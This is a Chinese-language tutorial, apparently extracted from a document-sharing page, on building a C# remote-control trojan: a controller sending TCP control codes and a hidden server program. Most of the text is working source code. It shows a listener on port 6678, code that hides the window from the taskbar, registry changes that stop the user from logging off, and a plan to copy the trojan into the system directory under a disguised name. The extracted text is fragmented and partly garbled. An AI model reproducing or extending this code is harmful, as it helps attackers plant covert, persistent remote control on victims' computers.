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文档简介

1、木马的介绍因为本文是探讨木马程序,所以在介绍之前有一些木马构成的基本知识事先说明。一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。使用的技术:控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。技术不是很难的,主要体现C#的网络编程和注册表的修改。控制端开发:控制端向服务器发出一段控制码,服务端(木马程序)收到

2、控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。控制端的开发:控制码的设定你可以自已设定,不需要详解,主要有以下几个难点1、 连接请求使用了.NET类中的 System.Net.Sockets.TcpClient类,TcpClient(string hostname,int port)Hostname 是要控制的主机名称,当然你也可以用IP地址。Port是端口。/ System.EventArgs包含事件数据类的基类private void button7_Click(object sender, System.EventArgs e)/记录操作,在richTex

3、tBox控件中增加操作信息richTextBox1.AppendText("请求连接" +textBox1.Text +" ");int port =6678;try/初始化 TcpClient 类的新实例并连接到指定主机上的指定端口client = new TcpClient(textBox1.Text,port);catchMessageBox.Show("服务器不在线!确定是否输入主机名称.");richTextBox1.AppendText("服务器不在线!确定是否输入主机名称.");/private vo

4、id buttion2、测试是否与被控制机连接上。程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。 /提供网络访问的数据流/private NetworkStream stream;代码如下:private void button8_Click(object sender, System.EventArgs e)/纪录操作2 / 122、 richTextBox1.AppendText("测试连接" +" ");trystream = client.GetStream();if(stream.CanWrite)/发送控制码string

5、 control = "jiance"byte by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray();stream.Write(by,0,by.Length);/下次使用stream.Flush();/启动接收反回数据的线程/receive是线程执行的函数,见后面的分析threadReceive = new Thread(new ThreadStart(receive);threadReceive.Start();catch(Exception ee)richTextBox1.AppendText (ee

6、.Message+" ");MessageBox.Show(ee.Message);3、控制生效的代码private void button9_Click(object sender, System.EventArgs e)/这里是确定要发送的控制码,RadioButton是窗体控件if(radioButton1.Checked) control = form2.zhucex;else if(radioButton2.Checked) control =form3.zhuces;else if(radioButton3.Checked) control = warring;

7、else if(radioButton4.Checked) control =suggest;else if(radioButton5.Checked) control =form4.mumawe;else if(radioButton6.Checked) control =drop;if (control ="000000")MessageBox.Show("你没有输入任何控制目标!不发控制信号");richTextBox1.AppendText("你没有输入任何控制目标!不发控制信号");else if(control != &q

8、uot;000000")try/记录操作richTextBox1.AppendText (control + "正在试图控制,等待回应." + " ");stream = client.GetStream();if(stream.CanWrite )byte by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ();stream.Write(by,0,by.Length);stream.Flush();threadReceive =new Thread(new ThreadS

9、tart(receive);threadReceive.Start();/endif/trycatchrichTextBox1.AppendText("服务器未连接1控制无效!" +" ");MessageBox.Show("服务器未连接1控制无效!" +" ");/else if4、线程执行的函数 private void receive()/设置读取数据的空间byte bb = new byte3;/读取3个字节,i为实际读取的字节数int i = stream.Read(bb,0,3);/转换成字符串,如果是

10、中文控制码则用string ss = /System.Text.Encoding.Unicode.GetString(bb);string ss = System.Text.Encoding.ASCII.GetString(bb);/hjc为我设置的服务器的返回码 hjc为连接成功,hkz为控制成功if(ss="hjc")MessageBox.Show("连接成功");richTextBox1.AppendText("连接成功");if(ss= "hkz")richTextBox1.AppendText(contr

11、ol +"控制成功"+" ");MessageBox.Show(control +"控制成功"+" ");服务端的开发:要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍:1、在VC#中,建立一个后台服务程序是很容易的,先建立一个新的C#的Windows应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示,并将属性“Windowstate”属性设为 Mi

12、ninized即可,这样窗体就可以隐藏运行了。当然你也可以在InitializeComponent()设置,此函数起初始化的作用,在窗体显示前运行,代码如下:private void InitializeComponent()/ Form1/窗体显示的起点和大小this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);this.ClientSize = new System.Drawing.Size(368, 357);/窗体名称this.Name = "Form1"/设置属性让它后台运行this.ShowInTaskb

13、ar = false;this.Text = "Form1"this.WindowState = System.Windows.Forms.FormWindowState.Minimized;3、 控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下:public Form1() /窗体的构造函数/ Windows 窗体设计器支持所必需的/InitializeComponent();/ TODO: 在 InitializeComponent 调用后添加任何构造函数代码/加入你的侦听代码/端口你可以自已设定,

14、我使用了固定的端口int port =6678;/System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的listener = new TcpListener(port);/启动侦听listener.Start();/增加接收控制码的线程,如果要停止线程可以用 Thread.abort()/reControlCode 是线程启动执行的函数,此函数根据接收的控制/控制码选取合适的注册表修改函数Thread thread = new Thread(new ThreadStart(reControlCode);thread.Start();reControlCod

15、e函数如下,完整代码见程序private void reControlCode()/设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求socket = listener.AcceptSocket();/如果连接成功执行while (socket.Connected)/接收控制码byte by =new byte6;int i = socket.Receive(by,by.Length ,0);string ss = System.Text.Encoding.ASCII.GetString(by);/根据控制码执行不同的功能/修改注册表加入编码switch

16、(ss)case "jiance":/测试连接,返回测试信息string str ="hjc"byte bytee = System.Text.Encoding.ASCII.GetBytes(str);socket.Send(bytee,0,bytee.Length,0);break;case "zx1000":/修改注册表函数,自已定义,见下面分析UnLogOff();/返回控制消息retMessage();break;case "zx0100":/修改注册表函数UnClose();/返回控制消息retMessa

17、ge();break;/重复的case功能与前面一样,略掉default:break;/case/while /private void reControlCode 3、C#中实现注册表的修改,使用了.NET类库中的System.Microsoft.Win32命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。这里我做了一个修改注册表的子程序:使计算机不能注销。在这之前先了解注册表,在子键SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer下面设键值NoLogOff 为 1 即可使

18、计算机无法注销。在下面的函数中用C#实现对注册表的修改:private void UnLogOff()/得到主机的注册表的顶级节点Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;/设置一个注册表子键的变量RegistryKey key1;try/函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键/registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改key1 =rLocal.OpenSubKey(&q

19、uot;SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer",true);/设置子键的键名,和值key1.SetValue ("NoLogOff",1);/关闭打开的子键key1.Close();/警告字符串设定mystr = mystr +"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer键值Nologoff被修改!请将它置为0!"catch/如果不存在自已建立if(key1 =null)t

20、ry/使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键RegistryKey key2 = rLocal.CreateSubKey("SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer");key2.SetValue("NoLogOff",1);key2.Close();mystr = mystr +"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer键值Nologoff被修改!请将它置为0!"catch4、在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。转移的代码分析如下,主要实现的功能是将D盘下的木马程序转移到C:winnntsystemmsdoss.exe,同时换名称。使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。这里

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